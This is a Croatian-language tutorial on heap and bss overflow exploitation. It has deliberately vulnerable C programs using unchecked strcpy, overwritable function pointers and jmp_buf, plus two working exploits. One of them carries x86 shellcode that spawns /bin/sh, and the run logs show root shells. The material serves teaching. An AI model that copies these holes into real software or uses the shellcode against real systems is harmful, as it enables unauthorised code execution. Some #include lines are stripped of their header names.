++++++++ Heap/Bss Overflow ++ Uvod Heap/Bss overflowi prisutni su vec godinama u kompjuterskoj industriji, ali zbog toga sto 'nisu' bas znacajni, u vecini slucajeva nemoze se izvrsiti shellcode, rijetko su prijavljivani na mailing liste (bugtraq itd.) ++ Stanje Memorije Memorija dinamicno alocirana u programu poznata je kao heap. Da bi se varijabla nalazila na heap-u moram koristiti malloc(), calloc(). Za razliku od heap-a, bss sadrzi staticne neincijalizirane varijable, velicina tog segmenta poznata je prije pokretanja programa. Prije nego sto se pocne pisati po bss-u, on sadrzi samo nule. Varijablu koju zelimo da bude na bss-u mora biti deklarirana kao static ili kako global (izvan svake funkcije). Data segment sadrzi incijalizirane globalne varijable. Na Heap/Bss(Data) varijable se alociraju suprotno od nacina kako to radi stack. Varijabla koja je prva deklarirana (static,malloc,global) nalazi se na najnizem mjestu. Vrlo bitna stvar kod heap/bss(data) je da se u normalnim okolnostima (bez pointera,jmpbuf) nemoze prepisati eip, ili skociti na neku drugu adresu koja nije predvidjena. ++ Heap Heap overflowi su u teoriji vrlo jednostavni, ali u stvarnim primjerima mogu zadati probleme. Kao prvo napadac mora znati koje su kriticne varijable koje se mogu prepisati, to moze biti vrlo tesko ako nema source programa. Drugo kriticna varijabla mora se nalaziti na visoj memoriskoj adresi od naseg buffera jer u suprotnom nema sanse da ce se moci prepisati vazna varijabla (alokacija vrijabli na heap/bss). Za ovo poglavlje napisao sam program u kojima ce mo razmotriti heap overflow. <++> -cut- /* 1.c */ #include int main(int argc,char **argv){ long prostor; char *buffer; char *kriticna; buffer=malloc(10); kriticna=malloc(20); strncpy(kriticna,"ls -al\0",7); prostor=(long)kriticna-(long)buffer; printf("Buffer= %p Kriticna= %p Slobodno= 0x%x\n",buffer,kriticna,prostor); if(argc < 2) strncpy(buffer,"...",4); else strcpy(buffer,argv[1]); system(kriticna); } <--> -cut- Ovo je vrlo jednostavna primjer,u 'kriticnu' varijablu spremamo komandu koja ce se izvrisiti, kao sto vidimo na izlazu 'kriticna' varijabla je na visoj memoriskoj adresi. Oba dvije nalaze se na heapu. Ponekad varijable nisu jedna blizu druge (kao u ovom primjeru). Sada znamo da trebamo napraviti program koji predaje '<10>/bin/sh' i shell ce se pokrenuti. Ovako izgleda nas exploit: <++> -cut- /* 1-xpl.c */ #include #define prostor 30 main(int argc,char **argv){ char buf[prostor]; memset(buf,0x90,30); strcpy(buf+16,argv[1]); execl("./1","./1",buf,0); } <--> -cut- [fi@horizon heap]$ gcc -o 1-xpl 1-xpl.c [fi@horizon heap]$ ./1-xpl /bin/sh Buffer= 0x8049760 Kriticna= 0x8049770 Slobodno= 10 bash# exit exit [fi@horizon heap]$ ++ Bss ++++ Pointer Bss overflow su u biti kao i heap, istu stvar bi bila da maknemo malloc i dodamo static u deklaraciji varijabli(samo varijable ce biti najvjerovatnije jedna do druge pa nece biti slobodnog prostora), radi toga preskocit ce mo osnove i kreci na nesto sto nam je bitnije - prepisivajne pointer i jmpbuf-a. Pogledajmo ovaj primjer: <++> -cut- /* 2.c */ #include int nesto(void){ printf("U func()\n"); return 0; } main(int argc,char **argv){ static char buf[10]; static (*ptr)(void); ptr=(int(*)(void))nesto; printf("Prije overflow-a= 0x%x\n",ptr); strcpy(buf,argv[1]); printf("Poslije overflow-a= 0x%x\n",ptr); (int)(*ptr)(); return 0; } <--> -cut- (*ptr)(void) je nas staticni pointer, on pokazuje na funkciju 'nesto', prepisivanjem tog pointera mozemo skociti na neku drugu adresu. Ovaj program smo mogli napraviti sigurnim samo da smo zamjenili deklaracije varijable,prvo static char (*ptr)(void) a tek onda static char buf[10]. Sljedeci exploit overflowa nas program tako da u postavlja adresu na kojoj je nas shellcode. <++> -cut- /* 2-xpl.c */ #include #include #include #define NOPSHELLCODE 500 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; long get_esp(){ __asm__("movl %esp,%eax\n"); } main(int argc,char *argv[]){ char egg[NOPSHELLCODE]; char exp[16]; long addr; if(argc < 2){ printf("./2-xpl \n"); exit(0); } addr=get_esp()-atoi(argv[1]); memset(egg,0x90,500); memcpy(egg+(500-4-strlen(shellcode)),shellcode,strlen(shellcode)); memset(exp,0x90,16); *(long *)&exp[12]=addr; execl("./2","2",exp,egg,0); } <--> -cut- Pokusajmo sa offset-om 200. [fi@horizon heap]$ ./2-xpl 200 Prije overflow-a= 0x8048400 Poslije overflow-a= 0xbffff710 Segmentation fault (core dumped) [fi@horizon heap]$ Izgleda da adresa nije dobra, pokusajmo nesto manje npr. sa 100. [fi@horizon heap]$ ./2-xpl 100 Prije overflow-a= 0x8048400 Poslije overflow-a= 0xbffff8a0 bash# exit exit [fi@horizon heap]$ Eto to je to, pogodili smo pravu adresu na kojoj se nalazi nas shellcode, te smo ga pokrenuli. ++++ jmp_buf Jmpbuf-ovi se koriste za vracanje na neku poziciju u programu kada se dogodi greska. Setjmp() sprema trenutacnu instrukciju i registre,dok longjmp() to ucitava. Prepisivanjem nekih registra u strukturi jmp_buf, prije nego sto se pozove instrukcija longjmp(), mozemo pokrenuti nas shellcode ili bilo koju drugu instrukciju. <++> -cut- /* 3.c */ #include #include int main(int argc,char **argv){ static char buf[10]; static jmp_buf jmpbuf; if(setjmp(jmpbuf)){ printf("Ucitan jmpbuf\n"); exit(-1);} printf("Buf= %p\tJmpBuf= %p\n",buf,jmpbuf); strcpy(buf,argv[1]); longjmp(jmpbuf,1); return 0; } <--> -cut- Kada se program pokrene komanda setjmp() sacuva registre i trenutacnu komandu. Pri kraju programa longjmp() ucitava to i ispisuje na ekranu 'Ucitan jmpbuf' i izlazi sa exit(). Da nije bilo exit() funkcije nas program bi se vrtio u krug sve dok ga neprekinemo. Varijabla jmpbuf nalazi se poslje nase buf varijable,znaci da ju je moguce prepisati . Jedina dva vazna jmp_buf-u u njoj su 'sp' i 'pc'. Sp popunimo sa bilo kojom hex adresom koja pocinje sa 'bffff',dok 'pc' treba pokazivati na nas shellcode. Sp pocinje od pocetka jmp_buf-a na 16 mjestu,a pc na 20. Exploit prepustam da vi napisete. ++ Kraj Evo dosli smo na kraj ovog text, nadam se da ste novo nesto, naucili. Kada sam pisao ovaj text jedino bilo na pameti da i pocetnici skuze nesto iz ovog teksta. Stoga sam mozda previse komplicirao u nekim detaljim, ali ako pazljivo procitate mozda ce te moci napisati exploit za zadnji primjer. ++ Reference 0x01- w00w00 on Heap Overflows : by Shok 0x02- An analysis of how buffer attack works : Gary McGrawe i John Viega 0x03(za naprednije) - __atexit in memory bugs - specific proof of concept with staticly linked binaries and heap overflows : Pascal Bouchareine by finis aka phi {mail: fi@active-security.org} / Open Security